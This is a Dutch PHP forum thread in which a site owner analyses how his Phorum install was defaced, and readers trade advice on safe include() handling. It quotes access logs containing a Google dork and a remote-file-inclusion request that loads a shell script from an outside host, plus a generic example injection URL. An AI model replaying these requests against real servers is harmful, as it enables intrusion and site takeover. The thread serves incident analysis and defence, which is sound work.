Veiligheidsbreuk, gehacked, XSS
Een veiligheidbreuk, een goede daad uit het echte leven.
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] "GET /phorum/admin/ HTTP/1.1" 200 5042 "http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] "GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1" 403 7591 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik 'even' geschreven heb voor het includen in mijn layout. Het 'even' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] "GET /phorum/admin/ HTTP/1.1" 200 5042 "http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] "GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1" 403 7591 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Code (php)
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
<?
$pad = "/home/pad/naar/file";
$variabele = $_POST["naam"];
$variabele = preg_replace('/\W','', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists("${pad}/${variabele}.ext")) {
include("${pad}/${variabele}.ext");
}
?>
$pad = "/home/pad/naar/file";
$variabele = $_POST["naam"];
$variabele = preg_replace('/\W','', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists("${pad}/${variabele}.ext")) {
include("${pad}/${variabele}.ext");
}
?>
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik 'even' geschreven heb voor het includen in mijn layout. Het 'even' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
Gesponsorde koppelingen:
omg :) maar goed dat je er achter bent gekomen.. maar was 'system()' dan functioneel op je server??
hoe kun je system() dan uitschakelen? op je server? want dit wil ik niet op mijn site laten gebeuren:O.
en nog iets arend:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
bedoel je hiet niet
of pakt ie die meegestuurde variabele in de url ook als $_POST["naam"] :O
en nog iets arend:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
bedoel je hiet niet
of pakt ie die meegestuurde variabele in de url ook als $_POST["naam"] :O
Het was laat :)
Maar het system commando uitschaken kan wel, maar dan zjin er nog wel 4 andere manieren om er omheen te kunnen. Je moet gewoon zorgen dat er geen malafide include() verwijzingen zijn.
Grtz,
Arend
Maar het system commando uitschaken kan wel, maar dan zjin er nog wel 4 andere manieren om er omheen te kunnen. Je moet gewoon zorgen dat er geen malafide include() verwijzingen zijn.
Grtz,
Arend
Gewijzigd op 12/07/2004 11:59:00 door Arend a
Je laat dat toch nooit zo doen?
Ik deed dat altijd met een switch() die kon dus nooit iets anders dan de door mij ingegeven files.
Nu werk ik niet meer met includes maar das een ander verhaal :)
Ik deed dat altijd met een switch() die kon dus nooit iets anders dan de door mij ingegeven files.
Nu werk ik niet meer met includes maar das een ander verhaal :)
mja, dat vind ik persoonlijk nogal lomp. een beetje voor elke file in mn php file gaan pielen. Maar zoals je staat was het een quick fix van twee jaar terug die nog steeds liep.
Verder was de eerste hack een 3rd party script: phorum dat hij dmv googlen ging opzoeken en exploiten.
Verder was de eerste hack een 3rd party script: phorum dat hij dmv googlen ging opzoeken en exploiten.
Gewijzigd op 12/07/2004 12:08:00 door Arend a
Die rus ziet er een profesional uit die moet mijn site niet weten :D
Professional? Welnee, het is een eerste klas scriptkiddo. Ik heb totaal geen respect voor deze gast. Hij was op de hoogte van een lek, en ging sites opzoeken die die software draaide om te hacken.
Sorry, geen enkel respect at all.
Sorry, geen enkel respect at all.
Quote:
Een veiligheidbreuk, een goede daad uit het echte leven.
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] \"GET /phorum/admin/ HTTP/1.1\" 200 5042 \"http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] \"GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1\" 403 7591 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik \'even\' geschreven heb voor het includen in mijn layout. Het \'even\' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] \"GET /phorum/admin/ HTTP/1.1\" 200 5042 \"http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] \"GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1\" 403 7591 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Code (php)
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
<?
$pad = \"/home/pad/naar/file\";
$variabele = $_POST[\"naam\"];
$variabele = preg_replace(\'/\\W\',\'\', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists(\"${pad}/${variabele}.ext\")) {
include(\"${pad}/${variabele}.ext\");
}
?>
$pad = \"/home/pad/naar/file\";
$variabele = $_POST[\"naam\"];
$variabele = preg_replace(\'/\\W\',\'\', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists(\"${pad}/${variabele}.ext\")) {
include(\"${pad}/${variabele}.ext\");
}
?>
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik \'even\' geschreven heb voor het includen in mijn layout. Het \'even\' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
Waarom doen ze dit?? wat hebben ze eraan?
Waarom worden er virussen gemaakt? Wat heb je er aan als je aan ander zn pc naar de kloten helpt? Juist ja, nog onnuttige vragen Han?
1 keer en nooit weer (neem ik aan)
Hoe simpel het ook is eigenlijk.
Ik moet toegeven dat ik ook een paar keer een site ben tegengekomen, waarvan ik dacht 'deze is makkelijk te bewerken'. Dus ben toen even gaan knutselen, en inderdaad, ook zo'n include (andere was trouwens een .inc bestand met wachtwoorden :*) ). Enige verschil is dat ik alleen heb gekeken, en daarna een mailtje heb gestuurd naar de desbetreffende webmaster.
Sterker nog, ik heb een keer (per ongeluk, was niet mijn bedoeling) toegang verkregen tot alle websites die op mijn webhosting werden gehost. Echt asociaal groot lek. Heb het gemeld (even paar screenies voor bewijs, wachtwoorden weggehaald) en blij dat ze waren! Krijg nog een cadeautje ervoor ook :P
Ik had natuurlijk ook al die wachtwoorden op internet kunnen zetten, maar dat wat ik nu heb gedaan voelt toch beter. Lees je dat rus?
Hoe simpel het ook is eigenlijk.
Ik moet toegeven dat ik ook een paar keer een site ben tegengekomen, waarvan ik dacht 'deze is makkelijk te bewerken'. Dus ben toen even gaan knutselen, en inderdaad, ook zo'n include (andere was trouwens een .inc bestand met wachtwoorden :*) ). Enige verschil is dat ik alleen heb gekeken, en daarna een mailtje heb gestuurd naar de desbetreffende webmaster.
Sterker nog, ik heb een keer (per ongeluk, was niet mijn bedoeling) toegang verkregen tot alle websites die op mijn webhosting werden gehost. Echt asociaal groot lek. Heb het gemeld (even paar screenies voor bewijs, wachtwoorden weggehaald) en blij dat ze waren! Krijg nog een cadeautje ervoor ook :P
Ik had natuurlijk ook al die wachtwoorden op internet kunnen zetten, maar dat wat ik nu heb gedaan voelt toch beter. Lees je dat rus?
Code (php)
Gewijzigd op 19/09/2005 21:16:00 door Pieter van Linschoten
misschien moet je dat maar eerst ff vertalen voordat ie het kan lezen Jelmer ^^... En scriptkiddies, die zijn te zielig om sociaal te zijn =P.
Maar system is volgens mij overal geblokt ?. OW ennem wat ik me nou afvraag: hoe kan het in cluden van zo'n bestand nou werken? Ik bedoel de server waar het van komt parsed het ook... Of gaat dat via zielige geocities servers die geen php hebben =P.
Overigens is dit misbruik maken van de hosting, een beetje host wil dan nog wel eens een contract ontbinden =P. http://www.nic.ru/whois/?domain=narod.ru =P.
MJa, ik filter die gets altijd op slashes enzo, dan kunnen urls ook nie =). Net zoals ik tegen sql injection alle tekens van html-entities voorzien (inc. enkele quotes ej: htmlentities($_GET["var"], ENT_QUOTES);)
Mja, er is altijd wel iets =(
Maar system is volgens mij overal geblokt ?. OW ennem wat ik me nou afvraag: hoe kan het in cluden van zo'n bestand nou werken? Ik bedoel de server waar het van komt parsed het ook... Of gaat dat via zielige geocities servers die geen php hebben =P.
Overigens is dit misbruik maken van de hosting, een beetje host wil dan nog wel eens een contract ontbinden =P. http://www.nic.ru/whois/?domain=narod.ru =P.
MJa, ik filter die gets altijd op slashes enzo, dan kunnen urls ook nie =). Net zoals ik tegen sql injection alle tekens van html-entities voorzien (inc. enkele quotes ej: htmlentities($_GET["var"], ENT_QUOTES);)
Mja, er is altijd wel iets =(
Gana we even oude koeien uit de sloot halen (Topic is een jaar oud)
ehe, dat had ik nog niet eens gezien. Stom
Dat van Lapidi lijkt mij ook niet echt veilig. Daarmee kan ik nog steeds cross-site scripten en ieder willekeurig bestand includen. Gewoon .php weglaten.
Dat van Lapidi lijkt mij ook niet echt veilig. Daarmee kan ik nog steeds cross-site scripten en ieder willekeurig bestand includen. Gewoon .php weglaten.
Ik gebruik altijd
Dat is toch redelijk veilig, of zie ik iets over het hoofd?
(ook al is het een oud topic ^^)
Dat is toch redelijk veilig, of zie ik iets over het hoofd?
(ook al is het een oud topic ^^)
Met die vraag zit ik eigenlijk ook... Ik dacht gewoon controleren of het bestand wel bestaat...
ik doe wel altijd uizonderingen maken voor bestanden op mijn server, zoals de config enzo... Zodat die niet opgehaald kunnen worden...
Maar dat is dus niet echt veilig blijkbaar...
Ga ik maar eens beetje aan werken...
ik doe wel altijd uizonderingen maken voor bestanden op mijn server, zoals de config enzo... Zodat die niet opgehaald kunnen worden...
Maar dat is dus niet echt veilig blijkbaar...
Ga ik maar eens beetje aan werken...
gewoon punten en slashes eruit halen dan kan er geen url komen en blijft het in dezelfde map, kan je dus niet ../config.php doen =).
inderdaad. Of hem door een switch() / array van bestaande pagina's heen halen.
dan het beste een in_array, een switch is een beetje te veel werk :P



